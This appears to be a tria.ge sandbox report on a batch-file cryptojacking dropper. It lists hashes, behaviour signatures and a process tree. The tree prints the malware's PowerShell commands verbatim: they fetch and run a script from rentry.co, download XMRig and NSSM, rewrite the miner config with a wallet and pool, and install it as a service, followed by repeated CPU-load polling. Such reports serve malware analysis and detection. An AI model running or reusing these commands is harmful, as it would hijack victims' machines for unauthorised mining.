Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/06/2024, 13:20 UTC

General

  • Target

    24832729026784.bat

  • Size

    517B

  • MD5

    ac9d73455d58bfa42f81e718b8c8d6b5

  • SHA1

    60040fff333b7bc09b22e5c013f11b8a99555ed3

  • SHA256

    4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12

  • SHA512

    ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$wc = new-object system.net.webclient
2
$tempfile = [system.io.path]::gettempfilename()
3
$tempfile = ".bat"
4
$wc.downloadfile("https://rentry.co/regele/raw", ".bat")
5
.bat 42 crnhwckm6bmza8jmwyvwb2tjacxqgmj1qhhj9ae55qrx488q6cvau42ekkeied2n9te1ujnviusnvqv1nj17r79fdhjvl
6
remove-item -force $tempfile
7
URLs
exe.dropper

https://rentry.co/regele/raw

Extracted

Language
ps1
Deobfuscated
1
$wc = new-object system.net.webclient
2
$wc.downloadfile("https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip", "C:\\Users\\Admin\\xmrig.zip")
3
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Extracted

Language
ps1
Deobfuscated
1
$wc = new-object system.net.webclient
2
$wc.downloadfile("https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip", "C:\\Users\\Admin\\nssm.zip")
3
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip

Signatures

  • XMRig Miner payload 3 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Stops running service(s) 4 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 63 IoCs
  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\24832729026784.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4672
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpEB1.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"
        3⤵
          PID:1508
          • C:\Windows\system32\net.exe
            net session
            4⤵
              PID:4736
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                5⤵
                  PID:1128
              • C:\Windows\system32\where.exe
                where powershell
                4⤵
                  PID:212
                • C:\Windows\system32\where.exe
                  where find
                  4⤵
                    PID:1136
                  • C:\Windows\system32\where.exe
                    where findstr
                    4⤵
                      PID:2980
                    • C:\Windows\system32\where.exe
                      where tasklist
                      4⤵
                        PID:4456
                      • C:\Windows\system32\where.exe
                        where sc
                        4⤵
                          PID:2108
                        • C:\Windows\system32\sc.exe
                          sc stop moneroocean_miner
                          4⤵
                          • Launches sc.exe
                          PID:4344
                        • C:\Windows\system32\sc.exe
                          sc delete moneroocean_miner
                          4⤵
                          • Launches sc.exe
                          PID:2204
                        • C:\Windows\system32\taskkill.exe
                          taskkill /f /t /im xmrig.exe
                          4⤵
                          • Kills process with taskkill
                          PID:4964
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:2960
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:2688
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          PID:4716
                        • C:\Users\Admin\moneroocean\xmrig.exe
                          "C:\Users\Admin\moneroocean\xmrig.exe" --help
                          4⤵
                            PID:1768
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                            4⤵
                              PID:4152
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
                                5⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4732
                                • C:\Windows\system32\HOSTNAME.EXE
                                  "C:\Windows\system32\HOSTNAME.EXE"
                                  6⤵
                                    PID:2244
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3996
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4720
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Oailvcny\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4964
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3380
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:812
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:4224
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3508
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                PID:3628
                              • C:\Windows\system32\sc.exe
                                sc stop moneroocean_miner
                                4⤵
                                • Launches sc.exe
                                PID:3344
                              • C:\Windows\system32\sc.exe
                                sc delete moneroocean_miner
                                4⤵
                                • Launches sc.exe
                                PID:3832
                              • C:\Users\Admin\moneroocean\nssm.exe
                                "C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"
                                4⤵
                                  PID:4456
                                • C:\Users\Admin\moneroocean\nssm.exe
                                  "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"
                                  4⤵
                                    PID:4944
                                  • C:\Users\Admin\moneroocean\nssm.exe
                                    "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS
                                    4⤵
                                      PID:2788
                                    • C:\Users\Admin\moneroocean\nssm.exe
                                      "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"
                                      4⤵
                                        PID:1416
                                      • C:\Users\Admin\moneroocean\nssm.exe
                                        "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"
                                        4⤵
                                          PID:2740
                                        • C:\Users\Admin\moneroocean\nssm.exe
                                          "C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner
                                          4⤵
                                            PID:1376
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                        2⤵
                                          PID:4324
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic cpu get loadpercentage
                                            3⤵
                                              PID:1696
                                          • C:\Windows\system32\timeout.exe
                                            timeout /t 1
                                            2⤵
                                            • Delays execution with timeout.exe
                                            PID:4224
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                            2⤵
                                              PID:4252
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic cpu get loadpercentage
                                                3⤵
                                                  PID:4012
                                              • C:\Windows\system32\timeout.exe
                                                timeout /t 1
                                                2⤵
                                                • Delays execution with timeout.exe
                                                PID:624
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                2⤵
                                                  PID:3456
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic cpu get loadpercentage
                                                    3⤵
                                                      PID:3508
                                                  • C:\Windows\system32\timeout.exe
                                                    timeout /t 1
                                                    2⤵
                                                    • Delays execution with timeout.exe
                                                    PID:5076
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                    2⤵
                                                      PID:3700
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic cpu get loadpercentage
                                                        3⤵
                                                          PID:1048
                                                      • C:\Windows\system32\timeout.exe
                                                        timeout /t 1
                                                        2⤵
                                                        • Delays execution with timeout.exe
                                                        PID:1716
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                        2⤵
                                                          PID:2516
                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                            wmic cpu get loadpercentage
                                                            3⤵
                                                              PID:1712
                                                          • C:\Windows\system32\timeout.exe
                                                            timeout /t 1
                                                            2⤵
                                                            • Delays execution with timeout.exe
                                                            PID:3984
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                            2⤵
                                                              PID:5052
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic cpu get loadpercentage
                                                                3⤵
                                                                  PID:2192
                                                              • C:\Windows\system32\timeout.exe
                                                                timeout /t 1
                                                                2⤵
                                                                • Delays execution with timeout.exe
                                                                PID:3616
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                2⤵
                                                                  PID:804
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic cpu get loadpercentage
                                                                    3⤵
                                                                      PID:1960
                                                                  • C:\Windows\system32\timeout.exe
                                                                    timeout /t 1
                                                                    2⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:2540
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                    2⤵
                                                                      PID:2244
                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                        wmic cpu get loadpercentage
                                                                        3⤵
                                                                          PID:4388
                                                                      • C:\Windows\system32\timeout.exe
                                                                        timeout /t 1
                                                                        2⤵
                                                                        • Delays execution with timeout.exe
                                                                        PID:4740
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                        2⤵
                                                                          PID:3816
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic cpu get loadpercentage
                                                                            3⤵
                                                                              PID:1132
                                                                          • C:\Windows\system32\timeout.exe
                                                                            timeout /t 1
                                                                            2⤵
                                                                            • Delays execution with timeout.exe
                                                                            PID:1696
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                            2⤵
                                                                              PID:3420
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic cpu get loadpercentage
                                                                                3⤵
                                                                                  PID:3372
                                                                              • C:\Windows\system32\timeout.exe
                                                                                timeout /t 1
                                                                                2⤵
                                                                                • Delays execution with timeout.exe
                                                                                PID:3952
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                2⤵
                                                                                  PID:2768
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic cpu get loadpercentage
                                                                                    3⤵
                                                                                      PID:2976
                                                                                  • C:\Windows\system32\timeout.exe
                                                                                    timeout /t 1
                                                                                    2⤵
                                                                                    • Delays execution with timeout.exe
                                                                                    PID:1972
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                    2⤵
                                                                                      PID:3508
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic cpu get loadpercentage
                                                                                        3⤵
                                                                                          PID:1548
                                                                                      • C:\Windows\system32\timeout.exe
                                                                                        timeout /t 1
                                                                                        2⤵
                                                                                        • Delays execution with timeout.exe
                                                                                        PID:1700
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                        2⤵
                                                                                          PID:3736
                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                            wmic cpu get loadpercentage
                                                                                            3⤵
                                                                                              PID:912
                                                                                          • C:\Windows\system32\timeout.exe
                                                                                            timeout /t 1
                                                                                            2⤵
                                                                                            • Delays execution with timeout.exe
                                                                                            PID:4484
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                            2⤵
                                                                                              PID:4616
                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                wmic cpu get loadpercentage
                                                                                                3⤵
                                                                                                  PID:1664
                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                timeout /t 1
                                                                                                2⤵
                                                                                                • Delays execution with timeout.exe
                                                                                                PID:4780
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                2⤵
                                                                                                  PID:5056
                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                    wmic cpu get loadpercentage
                                                                                                    3⤵
                                                                                                      PID:4620
                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                    timeout /t 1
                                                                                                    2⤵
                                                                                                    • Delays execution with timeout.exe
                                                                                                    PID:1576
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                    2⤵
                                                                                                      PID:3616
                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                        wmic cpu get loadpercentage
                                                                                                        3⤵
                                                                                                          PID:3828
                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                        timeout /t 1
                                                                                                        2⤵
                                                                                                        • Delays execution with timeout.exe
                                                                                                        PID:2720
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                        2⤵
                                                                                                          PID:4592
                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                            wmic cpu get loadpercentage
                                                                                                            3⤵
                                                                                                              PID:2072
                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                            timeout /t 1
                                                                                                            2⤵
                                                                                                            • Delays execution with timeout.exe
                                                                                                            PID:4880
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                            2⤵
                                                                                                              PID:2244
                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                wmic cpu get loadpercentage
                                                                                                                3⤵
                                                                                                                  PID:2900
                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                timeout /t 1
                                                                                                                2⤵
                                                                                                                • Delays execution with timeout.exe
                                                                                                                PID:4468
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                2⤵
                                                                                                                  PID:1132
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic cpu get loadpercentage
                                                                                                                    3⤵
                                                                                                                      PID:4600
                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                    timeout /t 1
                                                                                                                    2⤵
                                                                                                                    • Delays execution with timeout.exe
                                                                                                                    PID:3732
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                    2⤵
                                                                                                                      PID:3488
                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                        wmic cpu get loadpercentage
                                                                                                                        3⤵
                                                                                                                          PID:3676
                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                        timeout /t 1
                                                                                                                        2⤵
                                                                                                                        • Delays execution with timeout.exe
                                                                                                                        PID:3396
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                        2⤵
                                                                                                                          PID:2976
                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                            wmic cpu get loadpercentage
                                                                                                                            3⤵
                                                                                                                              PID:4424
                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                            timeout /t 1
                                                                                                                            2⤵
                                                                                                                            • Delays execution with timeout.exe
                                                                                                                            PID:4296
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                            2⤵
                                                                                                                              PID:4160
                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                3⤵
                                                                                                                                  PID:3508
                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                timeout /t 1
                                                                                                                                2⤵
                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                PID:1436
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                2⤵
                                                                                                                                  PID:912
                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                    3⤵
                                                                                                                                      PID:4904
                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                    timeout /t 1
                                                                                                                                    2⤵
                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                    PID:4944
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                    2⤵
                                                                                                                                      PID:1416
                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                        3⤵
                                                                                                                                          PID:3984
                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                        timeout /t 1
                                                                                                                                        2⤵
                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                        PID:5080
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                        2⤵
                                                                                                                                          PID:4532
                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                            3⤵
                                                                                                                                              PID:4488
                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                            timeout /t 1
                                                                                                                                            2⤵
                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                            PID:4460
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                            2⤵
                                                                                                                                              PID:3828
                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                3⤵
                                                                                                                                                  PID:4376
                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                timeout /t 1
                                                                                                                                                2⤵
                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                PID:4028
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                2⤵
                                                                                                                                                  PID:1616
                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                    3⤵
                                                                                                                                                      PID:1260
                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                    timeout /t 1
                                                                                                                                                    2⤵
                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                    PID:3244
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1104
                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3868
                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                        timeout /t 1
                                                                                                                                                        2⤵
                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                        PID:4716
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4324
                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3428
                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                            timeout /t 1
                                                                                                                                                            2⤵
                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                            PID:2316
                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4728
                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4012
                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                timeout /t 1
                                                                                                                                                                2⤵
                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                PID:3824
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:624
                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:1988
                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                    timeout /t 1
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                    PID:2768
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3940
                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4772
                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                        timeout /t 1
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                        PID:4192
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4796
                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1900
                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                            timeout /t 1
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                            PID:4464
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1092
                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:1748
                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                PID:5052
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3320
                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2192
                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                    PID:4488
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3076
                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:4004
                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                        PID:3780
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                        2⤵
